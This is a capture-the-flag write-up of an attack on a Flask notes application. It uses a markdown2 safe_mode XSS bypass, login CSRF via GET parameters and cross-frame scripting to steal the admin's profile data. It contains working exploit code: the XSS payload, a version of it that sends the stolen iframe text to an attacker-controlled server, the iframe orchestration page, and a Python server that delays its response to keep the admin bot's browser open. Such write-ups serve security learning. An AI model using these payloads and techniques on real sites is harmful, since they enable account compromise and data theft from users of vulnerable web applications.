XSS across user sessions.
Application Overview
noob just created a secure app to write notes.
Show him how secure it really is!
https://notes.web.byteband.it/
Furthermore, there is a download of the application sources available.
The web application is very simple. It allows user registration/login, and the user is able to modify their own profile text. To get the flag, we need to view the profile of the admin user. Additionally, we can give the administrator a link which he needs to open. This shows us that a XSS attack against the admin user is presumably required.
Source Code Analysis
Because sources are attached, they are examined at first. The application is written in Python, and Flask is used as underlying web-framework. Because user notes are the most notable input method, we look at it first. It stands out that the form supports markdown using markdown2. The input is converted into html and the stored in the database. Notably, the parameter safe_mode = True
is set. When a user inputs a html tag like <script>
it is converted into [HTML_REMOVED]
. By adding a space into the html tag, like < script>
it is converted into < script>
, which already looks like the markdown processor is not that good in protecting against XSS.
@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
# markdown support!!
current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
db.session.commit()
return redirect("/profile")
A very short GitHub search gives me issues/341, which is an open XSS vulnerability in markdown2. By pasting the example into the notes app, I was able to verify that it is working in the CTF application as well. The PoC looks like this:
<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>
The first alert(1);
resides in the generated scripts tag, and thus is executed on the user side.
Exploit Development
There is a working XSS vulnerability, but the problem now is how to deliver it to the admin user. The user notes are personal, and cannot be viewed by other users including the administrator. Thus, if the admin is logged in he sees his notes but not ours, and if we are logged in we are only seeing our notes.
After some communication with my teammates, I was pointed to the fact the user login is using GET parameters instead of the usual POST requests. Furthermore, I didn’t knew about the possibility to access pages across iframes. Thus, by carefully combining Cross Site Request Forgery (CSRF) with Cross Frame Scripting, we can read data from the admin user while logged in as our own user.
The rough exploit-steps are as followed:
- upload the payload to our own
/profile
page - load a iframe to the
/profile
page. This contains the flag we want to access - login as our user in a new iframe
- execute the XSS script published on our own
/profile
page which steals the flag from the first iframe.
First of, this is the payload we upload to our own profile page. It simply takes the important part of the page, and sends it via http to a server controlled by us:
<http://g<!s://q?<!-<[<script>(new Image).src = 'http://<our-server-url>/?data=' + escape(parent.frames['iframe01'].document.body.getElementsByClassName("hero-body")[0].innerText);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>
The second part is this webpage, which issues all requests in the desired order. In our case:
- load admin page
- logout
- login as our user. The server redirects the user afterwards to the profile page and thus triggers our payload
<html>
<body>
<script type='text/javascript'>
function loginUser() {
var iframe = document.createElement('iframe');
iframe.src = "https://notes.web.byteband.it/login?username=sigflag&password=sigflag";
iframe.sandbox = "allow-same-origin allow-scripts";
document.body.appendChild(iframe);
};
function logoutUser() {
var iframe = document.createElement('iframe');
iframe.onload = loginUser;
iframe.src = "https://notes.web.byteband.it/logout";
iframe.sandbox = "allow-same-origin allow-scripts";
document.body.appendChild(iframe);
};
</script>
<iframe id="iframe01" name="iframe01" src="https://notes.web.byteband.it/profile" sandbox="allow-same-origin allow-scripts" onload="logoutUser(this)"></iframe>
</body>
</html>
Locally, everything works fine. But the script does not work when submitted to the admin user. Why?
Workaround Bad Challenge Design
Fortunate, we have the sources available as well as a Dockerfile to test the server locally. Looking on the sources it became clear that the site loads the page and immediatly closes the browser afterwards. I consider this bad challenge design, because you can normally expect a user to stay on a page for at least a second (and thus trigger the payload).
import asyncio
from pyppeteer import launch
from redis import Redis
from rq import Queue
import os
async def main(url):
browser = await launch(headless=True,
executablePath="/usr/bin/chromium-browser",
args=['--no-sandbox', '--disable-gpu'])
page = await browser.newPage()
await page.goto("https://notes.web.byteband.it/login")
await page.type("input[name='username']", "admin")
await page.type("input[name='password']", os.environ.get("ADMIN_PASS"))
await asyncio.wait([
page.click('button'),
page.waitForNavigation(),
])
await page.goto(url)
await browser.close()
def visit_url(url):
asyncio.get_event_loop().run_until_complete(main(url))
q = Queue(connection=Redis(host='redis'))
So, how can we increase the time between visiting the site and closing the browser? Fortunatly, browser start parsing and execution as soon data is available. Thus, by adding an artificial delay after sending our payload, we can trick the visit_link script to keep the browser open for a longer time. To do so, I wrote my own simple web-server in python:
#!/usr/bin/env python3
import time
from http.server import BaseHTTPRequestHandler,HTTPServer
PORT_NUMBER = 8080
SERVER = "https://notes.web.byteband.it"
USERNAME = "sigflag"
PASSWORD = "sigflag"
EXPLOIT = """
<html>
<body>
<script type='text/javascript'>
function loginUser() {{
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.src = "{server}/login?username={username}&password={password}";
iframe.sandbox = "allow-same-origin allow-scripts";
document.body.appendChild(iframe);
}};
function logoutUser() {{
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.onload = loginUser;
iframe.src = "{server}/logout";
iframe.sandbox = "allow-same-origin allow-scripts";
document.body.appendChild(iframe);
}};
</script>
<iframe id="iframe01" name="iframe01" src="{server}/profile" sandbox="allow-same-origin allow-scripts" onload="logoutUser(this)"></iframe>
</body>
</html>
""".format(server=SERVER, username=USERNAME, password=PASSWORD)
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(EXPLOIT.encode('utf-8'))
time.sleep(10) # keep open for some time for exploit to finish
myServer = HTTPServer(("0.0.0.0", PORT_NUMBER), MyServer)
print(time.asctime(), "Server Starts - %s:%s" % ("0.0.0.0", PORT_NUMBER))
try:
myServer.serve_forever()
except KeyboardInterrupt:
pass
myServer.server_close()
print(time.asctime(), "Server Stops - %s:%s" % ("0.0.0.0", PORT_NUMBER))
Now, I can start the web-server and send the link to the admin. After some time we get our response (after 10s in fact, because this simple server can only handle one response at a time):
# 3.6.39.98 - - [11/Apr/2020 21:36:48] "GET / HTTP/1.1" 200 -
# 3.6.39.98 - - [11/Apr/2020 21:36:58] "GET /?data=Howdy%20admin%21%0A%0Aflag%7Bch41n_tHy_3Xploits_t0_w1n%7D%0A%0A%0A HTTP/1.1" 200 -
After URL decoding of the response, we get:
Howdy admin!
flag{ch41n_tHy_3Xploits_t0_w1n}